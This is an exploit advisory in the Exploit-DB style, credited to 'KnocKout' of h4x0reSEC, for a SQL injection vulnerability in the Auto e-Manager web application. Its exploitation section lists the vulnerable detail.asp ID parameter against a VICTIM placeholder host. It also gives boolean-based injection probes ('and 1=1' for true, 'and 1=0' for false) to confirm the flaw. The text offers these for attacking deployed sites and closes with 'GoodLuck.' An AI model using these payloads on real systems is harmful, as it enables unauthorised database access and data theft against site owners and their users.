1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
================================================== Auto e-Manager <= SQL Injection Vulnerability ================================================== ~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Author : KnocKout [~] Contact : knockoutr@msn.com [+] Greatz : h4x0reSEC / Inj3ct0r Team / Exploit-DB { H4X0RE SECURITY PROJECT } ~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~Web App. : Auto e-Manager ~Software: http://www.site2nite.com/ ~Vulnerability Style : SQL Injection ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ Explotation~~~~~~~~~~~ http://VICTIM/www/detail.asp?ID=654 {SQL Injection} http://VICTIM/www/detail.asp?ID=654 and 1=1{True} http://VICTIM/www/detail.asp?ID=654 and 1=0{False} ================================ GoodLuck. |